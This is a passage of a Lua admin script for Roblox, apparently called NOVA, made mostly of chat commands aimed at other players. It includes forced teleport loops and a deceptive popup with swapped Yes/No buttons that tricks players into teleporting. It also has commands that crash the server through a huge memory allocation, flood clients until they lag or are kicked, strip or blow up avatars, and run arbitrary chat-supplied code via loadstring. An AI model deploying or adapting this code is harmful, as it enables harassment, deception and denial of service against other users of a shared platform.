3629 | MainCFrame = CFrame.new(0,3,15) | |
3630 | * CFrame.Angles(0,math.rad(90),0) | |
3631 | local Special = {} | |
3632 | pcall(function() workspace["NOVA Portal"]:Remove() end) | |
3633 | local Model = Instance.new("Model",workspace) | |
3634 | Model.Name = "NOVA Portal" | |
3635 | for angle=1,360/4 do | |
3636 | local Part = Instance.new("Part",Model) | |
3637 | Part.Name = "Part" | |
3638 | Part.FormFactor = "Custom" | |
3639 | Part.CanCollide = true | |
3640 | Part.Anchored = true | |
3641 | Part.Locked = true | |
3642 | Part.Transparency = 0 | |
3643 | Part.Reflectance = 0 | |
3644 | Part.Size = Vector3.new(1,5/2,1) | |
3645 | Part.BrickColor = BrickColor.new("Navy blue") | |
3646 | Part.CFrame = MainCFrame | |
3647 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3648 | * CFrame.new(0, 15/2, i) | |
3649 | --wait(0) | |
3650 | Instance.new("BlockMesh",Part) | |
3651 | for num=0,1000,5 do | |
3652 | if angle==num then | |
3653 | wait() | |
3654 | table.insert(Special,Part) | |
3655 | --Part.Reflectance = 1 | |
3656 | Part.Size = Vector3.new(0.9,5/2,0.9) | |
3657 | Part.CFrame = MainCFrame | |
3658 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3659 | * CFrame.new(0, 15/2, i) | |
3660 | end | |
3661 | end | |
3662 | end | |
3663 | ||
3664 | for _,v in pairs(Special) do v.Reflectance = 1 wait() end | |
3665 | local Part = Instance.new("Part",Model) | |
3666 | Part.Name = "Part" | |
3667 | Part.FormFactor = "Custom" | |
3668 | Part.CanCollide = false | |
3669 | Part.Anchored = true | |
3670 | Part.Locked = true | |
3671 | Part.TopSurface = "Smooth" | |
3672 | Part.BottomSurface = "Smooth" | |
3673 | Part.Transparency = 0.5 | |
3674 | Part.Reflectance = 0 | |
3675 | Part.Size = Vector3.new(0.2,0.2,0.2) | |
3676 | Part.BrickColor = BrickColor.new("Really black") | |
3677 | Part.CFrame = MainCFrame | |
3678 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3679 | * CFrame.new(0, 0, 0) | |
3680 | Instance.new("CylinderMesh",Part) | |
3681 | ||
3682 | for i=0.2,51/4,0.5 do | |
3683 | wait() | |
3684 | Part.Size = Vector3.new(i,0.9,i) | |
3685 | Part.CFrame = MainCFrame | |
3686 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3687 | * CFrame.new(0, 0, 0) | |
3688 | end | |
3689 | ||
3690 | coroutine.resume(coroutine.create(function() | |
3691 | while true do wait() | |
3692 | for i=0,1,0.01 do wait() Part.Reflectance = i end | |
3693 | for i=1,0,-0.01 do wait() Part.Reflectance = i end | |
3694 | end | |
3695 | end)) | |
3696 | ||
3697 | Part.Touched:connect(function(Part) | |
3698 | Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent) | |
3699 | if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then | |
3700 | --print(Player.Name.." touched.") | |
3701 | CreateLocalScript([==[ | |
3702 | LocalPlayer = game:GetService("Players").LocalPlayer | |
3703 | Places = { | |
3704 | {Name = "Oxcool1 SB",ID = 20279777}; | |
3705 | {Name = "Oxcool1 PRI SB", ID = 20132544}; | |
3706 | {Name = "TNS SB", ID = 23232804}; | |
3707 | {Name = "BrainWart SB", ID = 76809211}; | |
3708 | {Name = "nb SB",ID = 113456}; | |
3709 | {Name = "nb SB (2)",ID = 56786}; | |
3710 | {Name = "Insert Wars",ID = 13329886}; | |
3711 | {Name = "tus sb", ID = 49907749}; | |
3712 | } | |
3713 | pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end) | |
3714 | local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui) | |
3715 | Main.Name = "NOVA Teleport" | |
3716 | script.Parent = Main | |
3717 | ||
3718 | local Frame = Instance.new("Frame",Main) | |
3719 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
3720 | Frame.Position = UDim2.new(0.,0,0.2,0) | |
3721 | Frame.Style = "RobloxSquare" | |
3722 | ||
3723 | local Txt = Instance.new("TextBox",Frame) | |
3724 | Txt.Size = UDim2.new(0.7,0,1,0) | |
3725 | Txt.BackgroundTransparency = 1 | |
3726 | Txt.FontSize = "Size14" | |
3727 | Txt.TextColor3 = Color3.new(1,1,1) | |
3728 | Txt.Text = "ID/Name Here" | |
3729 | local Close = Instance.new("TextButton",Frame) | |
3730 | Close.Size = UDim2.new(0.1,0,1,0) | |
3731 | Close.Position = UDim2.new(0.9,0,0,0) | |
3732 | Close.Text = "X" | |
3733 | Close.BackgroundTransparency = 1 | |
3734 | Close.FontSize = "Size14" | |
3735 | Close.TextColor3 = Color3.new(1,0,0) | |
3736 | Close.MouseButton1Down:connect(function() | |
3737 | Main:Remove() | |
3738 | end) | |
3739 | local Exe = Instance.new("TextButton",Frame) | |
3740 | Exe.Size = UDim2.new(0.2,0,1,0) | |
3741 | Exe.Position = UDim2.new(0.6,0,0,0) | |
3742 | Exe.Text = "Teleport" | |
3743 | Exe.BackgroundTransparency = 1 | |
3744 | Exe.FontSize = "Size14" | |
3745 | Exe.TextColor3 = Color3.new(1,0,0) | |
3746 | Exe.MouseButton1Down:connect(function() | |
3747 | GoTo = Txt.Text | |
3748 | for _,v in pairs(Places) do | |
3749 | if Txt.Text:lower() == v.Name:lower() then | |
3750 | GoTo = v.ID | |
3751 | end | |
3752 | end | |
3753 | game:GetService'TeleportService':Teleport(GoTo) | |
3754 | Main:Remove() | |
3755 | end) | |
3756 | ||
3757 | List = Instance.new("Frame",Main) | |
3758 | List.Size = UDim2.new(0.27,0,0.05*#Places,0) | |
3759 | List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0) | |
3760 | List.Style = "RobloxSquare" | |
3761 | ||
3762 | for NUM,v in pairs(Places) do | |
3763 | Name = Instance.new("TextButton",List) | |
3764 | Name.Size = UDim2.new(0.5,0,1/#Places,0) | |
3765 | Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0) | |
3766 | Name.BackgroundTransparency = 1 | |
3767 | Name.FontSize = "Size14" | |
3768 | Name.TextColor3 = Color3.new(1,1,1) | |
3769 | Name.Text = v.Name | |
3770 | Name.MouseButton1Down:connect(function() | |
3771 | game:GetService'TeleportService':Teleport(v.ID) | |
3772 | end) | |
3773 | ID = Instance.new("TextButton",List) | |
3774 | ID.Size = UDim2.new(0.5,0,1/#Places,0) | |
3775 | ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0) | |
3776 | ID.BackgroundTransparency = 1 | |
3777 | ID.FontSize = "Size14" | |
3778 | ID.TextColor3 = Color3.new(1,1,1) | |
3779 | ID.Text = v.ID | |
3780 | ID.MouseButton1Down:connect(function() | |
3781 | game:GetService'TeleportService':Teleport(v.ID) | |
3782 | end) | |
3783 | end | |
3784 | ]==],Player.Backpack) | |
3785 | end | |
3786 | end) | |
3787 | end | |
3788 | ) | |
3789 | ||
3790 | AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>", | |
3791 | function(Msg,Speaker) | |
3792 | GetSplit(Msg) | |
3793 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3794 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack) | |
3795 | end | |
3796 | end | |
3797 | ) | |
3798 | ||
3799 | AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>", | |
3800 | function(Msg,Speaker) | |
3801 | Split = GetSplit(Msg) | |
3802 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3803 | CreateLocalScript([==[ | |
3804 | script.Parent = nil | |
3805 | while true do wait() | |
3806 | game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[) | |
3807 | end | |
3808 | ]==],v.Backpack) | |
3809 | end | |
3810 | end | |
3811 | ) | |
3812 | ||
3813 | AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>", | |
3814 | function(Msg,Speaker) | |
3815 | Split = GetSplit(Msg) | |
3816 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3817 | pcall(function() | |
3818 | CreateLocalScript([[ | |
3819 | LocalPlayer = game.Players.LocalPlayer | |
3820 | script.Parent = nil | |
3821 | ScreenGui = Instance.new("ScreenGui") | |
3822 | ScreenGui.Name = "Trololol" | |
3823 | Frame = Instance.new("Frame",ScreenGui) | |
3824 | Frame.Name = "Popup" | |
3825 | Frame.Style = "RobloxRound" | |
3826 | Frame.Size = UDim2.new(0, 330, 0, 350) | |
3827 | Frame.Position = UDim2.new(0.5, -165, 0.5, -175) | |
3828 | Frame.Active = true | |
3829 | Frame.ZIndex = 9 | |
3830 | ||
3831 | Image = Instance.new("ImageLabel",Frame) | |
3832 | Image.Name = "Backing" | |
3833 | Image.Image = "http://www.roblox.com/asset/?id=47574181" | |
3834 | Image.Active = true | |
3835 | Image.Size = UDim2.new(0, 280, 0, 280) | |
3836 | Image.Position = UDim2.new(0.5, -140, 0, 0) | |
3837 | Image.BackgroundTransparency = 1 | |
3838 | Image.ZIndex = 8 | |
3839 | ||
3840 | Text = Instance.new("TextLabel",Frame) | |
3841 | Text.Name = "Popup Text" | |
3842 | Text.Text = "Are you sure you want to teleport from this place?" | |
3843 | Text.FontSize = "Size36" | |
3844 | Text.TextWrap = true | |
3845 | Text.Active = true | |
3846 | Text.TextColor3 = Color3.new(1,1,1) | |
3847 | Text.Size = UDim2.new(1, 0, 0.800000012, 0) | |
3848 | Text.Position = UDim2.new(0,0,0,0) | |
3849 | Text.BackgroundTransparency = 1 | |
3850 | Text.ZIndex = 10 | |
3851 | ||
3852 | Accept = Instance.new("TextButton",Frame) | |
3853 | Accept.Name = "AcceptButton" | |
3854 | Accept.Text = "No" | |
3855 | Accept.Style = "RobloxButton" | |
3856 | Accept.FontSize = "Size24" | |
3857 | Accept.Active = true | |
3858 | Accept.TextColor3 = Color3.new(1,1,1) | |
3859 | Accept.Size = UDim2.new(0, 100, 0, 50) | |
3860 | Accept.Position = UDim2.new(0,20,0,270) | |
3861 | Accept.ZIndex = 10 | |
3862 | ||
3863 | Decline = Instance.new("TextButton",Frame) | |
3864 | Decline.Name = "DeclineButton" | |
3865 | Decline.Text = "Yes" | |
3866 | Decline.Style = "RobloxButton" | |
3867 | Decline.FontSize = "Size24" | |
3868 | Decline.Active = true | |
3869 | Decline.TextColor3 = Color3.new(1,1,1) | |
3870 | Decline.Size = UDim2.new(0, 100, 0, 50) | |
3871 | Decline.Position = UDim2.new(1, -120, 0, 270) | |
3872 | Decline.ZIndex = 10 | |
3873 | ||
3874 | Darken = Instance.new("Frame",Frame) | |
3875 | Darken.Name = "Darken" | |
3876 | Darken.Style = "RobloxRound" | |
3877 | Darken.Size = UDim2.new(1,16,1,16) | |
3878 | Darken.Position = UDim2.new(0,-8,0,-8) | |
3879 | Darken.Active = true | |
3880 | Darken.Visible = false | |
3881 | ||
3882 | Backing = Instance.new("Frame",ScreenGui) | |
3883 | Backing.Name = "Backing" | |
3884 | Backing.BackgroundColor3 = Color3.new(1,1,1) | |
3885 | Backing.Size = UDim2.new(1,0,1,0) | |
3886 | Backing.Active = true | |
3887 | ScreenGui.Parent = game:GetService("CoreGui") | |
3888 | while true do wait() | |
3889 | game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[) | |
3890 | end | |
3891 | ||
3892 | ||
3893 | ]],v.Backpack) | |
3894 | end) | |
3895 | end | |
3896 | end | |
3897 | ) | |
3898 | ||
3899 | AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>", | |
3900 | function(Msg,Speaker) | |
3901 | coroutine.resume(coroutine.create(function() | |
3902 | NOVA.Services.Lighting.TimeOfDay = 0 | |
3903 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
3904 | NOVA.Services.Lighting.Brightness = 0 | |
3905 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
3906 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
3907 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
3908 | ||
3909 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
3910 | if v:IsA("BasePart") then | |
3911 | Sel = Instance.new("SelectionBox",v) | |
3912 | Sel.Color = BrickColor.new("Really red") | |
3913 | Sel.Transparency = 0 | |
3914 | Sel.Adornee = v | |
3915 | end | |
3916 | end | |
3917 | for i=10,1,-1 do | |
3918 | NOVA.Sounds.Sound.Parent = workspace | |
3919 | NOVA.Sounds.Sound.Volume = 1 | |
3920 | NOVA.Sounds.Sound.Pitch = 1 | |
3921 | NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866" | |
3922 | wait(1) | |
3923 | NOVA.Sounds.Sound:Play() | |
3924 | if NOVA.Overrided == true then return end | |
3925 | end | |
3926 | for i=5,1,-1 do | |
3927 | NOVA.Sounds.Sound.Parent = workspace | |
3928 | NOVA.Sounds.Sound.Volume = 1 | |
3929 | NOVA.Sounds.Sound.Pitch = 1 | |
3930 | NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i] | |
3931 | wait(1) | |
3932 | NOVA.Sounds.Sound:Play() | |
3933 | if NOVA.Overrided == true then return end | |
3934 | end | |
3935 | wait(1) | |
3936 | Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000) | |
3937 | wait(1) | |
3938 | Instance.new("ManualSurfaceJointInstance",workspace) | |
3939 | end)) | |
3940 | end | |
3941 | ) | |
3942 | ||
3943 | AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>", | |
3944 | function(Msg,Speaker) | |
3945 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3946 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
3947 | Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
3948 | else | |
3949 | pcall(function() | |
3950 | GetRidOf(v) | |
3951 | end) | |
3952 | end | |
3953 | end | |
3954 | end | |
3955 | ) | |
3956 | ||
3957 | AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments", | |
3958 | function(Msg,Speaker) | |
3959 | coroutine.resume(coroutine.create(function() | |
3960 | for _,v in pairs(NOVA.Sounds.Numbers) do | |
3961 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
3962 | NOVA.Sounds.Sound.SoundId = v | |
3963 | NOVA.Sounds.Sound.Volume = 0 | |
3964 | wait() | |
3965 | NOVA.Sounds.Sound:Play() | |
3966 | wait() | |
3967 | NOVA.Sounds.Sound:Stop() | |
3968 | wait(1) | |
3969 | end | |
3970 | for _,v in pairs(NOVA.Sounds.PlayAfter) do | |
3971 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
3972 | NOVA.Sounds.Sound.SoundId = v | |
3973 | NOVA.Sounds.Sound.Volume = 0 | |
3974 | wait() | |
3975 | NOVA.Sounds.Sound:Play() | |
3976 | wait() | |
3977 | NOVA.Sounds.Sound:Stop() | |
3978 | wait(1) | |
3979 | end | |
3980 | NOVA.Sounds.Sound.Volume = 1 | |
3981 | end)) | |
3982 | end | |
3983 | ) | |
3984 | ||
3985 | AddCommand("Target","targ",6,"Targets the selected player.","<Player>", | |
3986 | function(Msg,Speaker) | |
3987 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3988 | table.insert(NOVA.Targeted,v) | |
3989 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3990 | if part:IsA("Part") then | |
3991 | coroutine.resume(coroutine.create(function() | |
3992 | local SB = Instance.new("SelectionBox",part) | |
3993 | SB.Name = "NOVA Target Selection Box" | |
3994 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
3995 | SB.Adornee = part | |
3996 | wait(3) | |
3997 | SB:remove() | |
3998 | end)) | |
3999 | end | |
4000 | end | |
4001 | end | |
4002 | end | |
4003 | ) | |
4004 | ||
4005 | AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>", | |
4006 | function(Msg,Speaker) | |
4007 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4008 | for i=1,#NOVA.Targeted do | |
4009 | if NOVA.Targeted[i] == v then | |
4010 | table.remove(NOVA.Targeted,i) | |
4011 | end | |
4012 | end | |
4013 | end | |
4014 | end | |
4015 | ) | |
4016 | ||
4017 | AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments", | |
4018 | function(Msg,Speaker) | |
4019 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack) | |
4020 | end | |
4021 | ) | |
4022 | ||
4023 | AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments", | |
4024 | function(Msg,Speaker) | |
4025 | CreateLocalScript([[ | |
4026 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4027 | script.Parent = LocalPlayer | |
4028 | NOVA = { | |
4029 | Bet = "/"; | |
4030 | Services = { | |
4031 | Workspace = game:GetService("Workspace"); | |
4032 | Lighting = game:GetService("Lighting"); | |
4033 | Debris = game:GetService("Debris"); | |
4034 | Players = game:GetService("Players"); | |
4035 | Teams = game:GetService("Teams"); | |
4036 | SoundService = game:GetService("SoundService"); | |
4037 | StarterGui = game:GetService("StarterGui"); | |
4038 | StarterPack = game:GetService("StarterPack"); | |
4039 | }; | |
4040 | Camera = workspace.CurrentCamera; | |
4041 | LocalCharacter = Instance.new("Model"); | |
4042 | LocalHead = Instance.new("Part"); | |
4043 | LocalFire = Instance.new("Fire"); | |
4044 | } | |
4045 | script.Name = NOVA.LocalPlayer.Name | |
4046 | script.Parent = nil | |
4047 | repeat wait() until NOVA.LocalPlayer.Parent == nil | |
4048 | game.Players.LocalPlayer.Chatted:connect(function(Msg) | |
4049 | if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then | |
4050 | game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2)) | |
4051 | if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then | |
4052 | game:GetService'TeleportService':Teleport(game.PlaceId) | |
4053 | end | |
4054 | if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then | |
4055 | pcall(function() | |
4056 | newScript(Msg:sub(4),workspace) | |
4057 | end) | |
4058 | end | |
4059 | if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then | |
4060 | coroutine.resume(coroutine.create(function() | |
4061 | pcall(function() | |
4062 | loadstring(Msg:sub(8))() | |
4063 | end) | |
4064 | end)) | |
4065 | end | |
4066 | if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then | |
4067 | LocalPlayer.Character = workspace | |
4068 | end | |
4069 | end | |
4070 | end) | |
4071 | NOVA.LocalPlayer.Character = nil | |
4072 | NOVA.LocalHead.FormFactor = "Custom" | |
4073 | NOVA.LocalHead.Size = Vector3.new(3,3,3) | |
4074 | NOVA.LocalHead.Reflectance = 1e+999 | |
4075 | NOVA.LocalHead.Shape = "Ball" | |
4076 | NOVA.LocalHead.Anchored = true | |
4077 | NOVA.LocalHead.CanCollide = false | |
4078 | NOVA.LocalHead.Transparency = 0 | |
4079 | NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name | |
4080 | NOVA.LocalFire.Color = Color3.new(0,0,0) | |
4081 | NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0) | |
4082 | NOVA.LocalFire.Heat = 12 | |
4083 | NOVA.LocalFire.Size = 7 | |
4084 | ||
4085 | while wait() do | |
4086 | pcall(function() | |
4087 | NOVA.LocalCharacter.Parent=workspace | |
4088 | NOVA.LocalHead.Parent = NOVA.LocalCharacter | |
4089 | NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125) | |
4090 | NOVA.LocalFire.Parent = NOVA.LocalHead | |
4091 | end) | |
4092 | end | |
4093 | ]],Speaker.Backpack) | |
4094 | end | |
4095 | ) | |
4096 | ||
4097 | ||
4098 | AddCommand("Script","c",6,"Pseudo scripting command.","<Source>", | |
4099 | function(Msg,Speaker) | |
4100 | CreateScript(Msg,workspace) | |
4101 | end | |
4102 | ) | |
4103 | ||
4104 | AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>", | |
4105 | function(Msg,Speaker) | |
4106 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4107 | CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4108 | end | |
4109 | end | |
4110 | ) | |
4111 | ||
4112 | AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>", | |
4113 | function(Msg,Speaker) | |
4114 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4115 | CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4116 | end | |
4117 | end | |
4118 | ) | |
4119 | ||
4120 | AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>", | |
4121 | function(Msg,Speaker) | |
4122 | CreateLocalScript(Msg,Speaker.Backpack) | |
4123 | end | |
4124 | ) | |
4125 | ||
4126 | AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments", | |
4127 | function(Msg,Speaker) | |
4128 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
4129 | pcall(function() | |
4130 | v.Transparency = 7.3015691270939e-002 | |
4131 | end) | |
4132 | end | |
4133 | end | |
4134 | ) | |
4135 | ||
4136 | AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>", | |
4137 | function(Msg,Speaker) | |
4138 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4139 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4140 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4141 | else | |
4142 | pcall(function() | |
4143 | CreateLocalScript([==[ | |
4144 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4145 | Camera = workspace.CurrentCamera | |
4146 | while wait() do | |
4147 | for i=1,10 do | |
4148 | Part = Instance.new("Seat",Camera) | |
4149 | Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20)) | |
4150 | Part.Shape = "Ball" | |
4151 | Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
4152 | Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250)) | |
4153 | end | |
4154 | end | |
4155 | ]==],v.Backpack) | |
4156 | end) | |
4157 | end | |
4158 | end | |
4159 | end | |
4160 | ) | |
4161 | ||
4162 | AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>", | |
4163 | function(Msg,Speaker) | |
4164 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4165 | CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack) | |
4166 | end | |
4167 | end | |
4168 | ) | |
4169 | ||
4170 | AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>", | |
4171 | function(Msg,Speaker) | |
4172 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4173 | for _,GUI in pairs(v.PlayerGui:children()) do | |
4174 | GUI:Clone().Parent = Speaker.PlayerGui | |
4175 | end | |
4176 | end | |
4177 | end | |
4178 | ) | |
4179 | ||
4180 | AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments", | |
4181 | function(Msg,Speaker) | |
4182 | for _,v in pairs(NOVA.Targeted) do | |
4183 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
4184 | if part:IsA("Part") then | |
4185 | coroutine.resume(coroutine.create(function() | |
4186 | local SB = Instance.new("SelectionBox",part) | |
4187 | SB.Name = "NOVA Target Selection Box" | |
4188 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
4189 | SB.Adornee = part | |
4190 | wait(3) | |
4191 | SB:remove() | |
4192 | end)) | |
4193 | end | |
4194 | end | |
4195 | end | |
4196 | end | |
4197 | ) | |
4198 | ||
4199 | AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>", | |
4200 | function(Msg,Speaker) | |
4201 | if Msg:sub(1,4) == "add" .. NOVA.Bet then | |
4202 | Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5)) | |
4203 | elseif Msg:sub(1,4) == "set" .. NOVA.Bet then | |
4204 | Speaker:SaveString("NoteToSelf",Msg:sub(5)) | |
4205 | elseif Msg == "see" then | |
4206 | Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker) | |
4207 | end | |
4208 | end | |
4209 | ) | |
4210 | ||
4211 | AddCommand("Smite","smite",6,"Smites the selected player.","<Player>", | |
4212 | function(Msg,Speaker) | |
4213 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4214 | local Char = v.Character | |
4215 | local Smite = Instance.new("Part",workspace) | |
4216 | Smite.FormFactor = "Custom" | |
4217 | Smite.TopSurface = "Smooth" | |
4218 | Smite.BottomSurface = "Smooth" | |
4219 | Smite.Anchored = true | |
4220 | Smite.Locked = true | |
4221 | Smite.Size = Vector3.new(25,3,25) | |
4222 | Smite.BrickColor = BrickColor.new("New Yeller") | |
4223 | Smite.Transparency = 1 | |
4224 | Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0) | |
4225 | for i=1,0,-0.05 do | |
4226 | wait() | |
4227 | Smite.Transparency = i | |
4228 | end | |
4229 | coroutine.resume(coroutine.create(function() | |
4230 | for i=0,1,0.05 do | |
4231 | wait() | |
4232 | Smite.Transparency = i | |
4233 | end | |
4234 | Smite:remove() | |
4235 | end)) | |
4236 | wait() | |
4237 | local Expl = Instance.new("Explosion",workspace) | |
4238 | Expl.Position = Smite.Position | |
4239 | Expl.BlastPressure = 1000000000 | |
4240 | for _,Part in pairs(GetRecursiveChildren(Char)) do | |
4241 | if Part:IsA("BasePart") then | |
4242 | coroutine.resume(coroutine.create(function() | |
4243 | for i=1,10 do | |
4244 | local Sparkles = Instance.new("Sparkles",Part) | |
4245 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4246 | local Fire = Instance.new("Fire",Part) | |
4247 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4248 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4249 | end | |
4250 | Part:BreakJoints() | |
4251 | local BP = Instance.new("BodyPosition",Part) | |
4252 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
4253 | BP.P = 1000 | |
4254 | BP.position = Part.Position + Vector3.new( | |
4255 | math.random(-100,100), | |
4256 | 100, | |
4257 | math.random(-100,100)) | |
4258 | wait(3) | |
4259 | local Expl = Instance.new("Explosion",workspace) | |
4260 | Expl.Position = Part.Position | |
4261 | Expl.BlastPressure = 1000000000 | |
4262 | end)) | |
4263 | end | |
4264 | end | |
4265 | end | |
4266 | end | |
4267 | ) | |
4268 | AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>", | |
4269 | function(Msg,Speaker) | |
4270 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4271 | pcall(function() | |
4272 | v.Character.Pants:Remove() | |
4273 | v.Character.Shirt:Remove() | |
4274 | end) | |
4275 | end | |
4276 | end | |
4277 | ) | |
4278 | ||
4279 | AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>", | |
4280 | function(Msg,Speaker) | |
4281 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4282 | v.Character.Humanoid.Changed:connect(function(val) | |
4283 | if val == "Health" then | |
4284 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
4285 | end | |
4286 | ||
4287 | end) | |
4288 | end | |
4289 | end | |
4290 | ) | |
4291 | ||
4292 | AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>", | |
4293 | function(Msg,Speaker) | |
4294 | NOVA.Bet = Msg | |
4295 | end | |
4296 | ) | |
4297 | AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>", | |
4298 | function(Msg,Speaker) | |
4299 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4300 | coroutine.resume(coroutine.create(function() | |
4301 | while wait() do | |
4302 | for i = 1, 100 do | |
4303 | if v:findFirstChild("PlayerGui") ~= nil then | |
4304 | local mes = Instance.new("Message", v.PlayerGui) | |
4305 | mes.Text = "Crashing" | |
4306 | local ex = Instance.new("Explosion", v.PlayerGui) | |
4307 | ex.BlastRadius = math.huge | |
4308 | local hint = Instance.new("Hint", v.PlayerGui) | |
4309 | hint.Text = "---------------------------------------------------------------------------" | |
4310 | local s = Instance.new("ScreenGui", v.PlayerGui) | |
4311 | local txt = Instance.new("TextBox", s) | |
4312 | txt.Size = UDim2.new(1, 0, 1, 0) | |
4313 | txt.Text = "Your Being Lagged" | |
4314 | txt.FontSize = "Size48" | |
4315 | end | |
4316 | end | |
4317 | end | |
4318 | end)) | |
4319 | end | |
4320 | end | |
4321 | ) | |
4322 | AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>", | |
4323 | function(Msg,Speaker) | |
4324 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
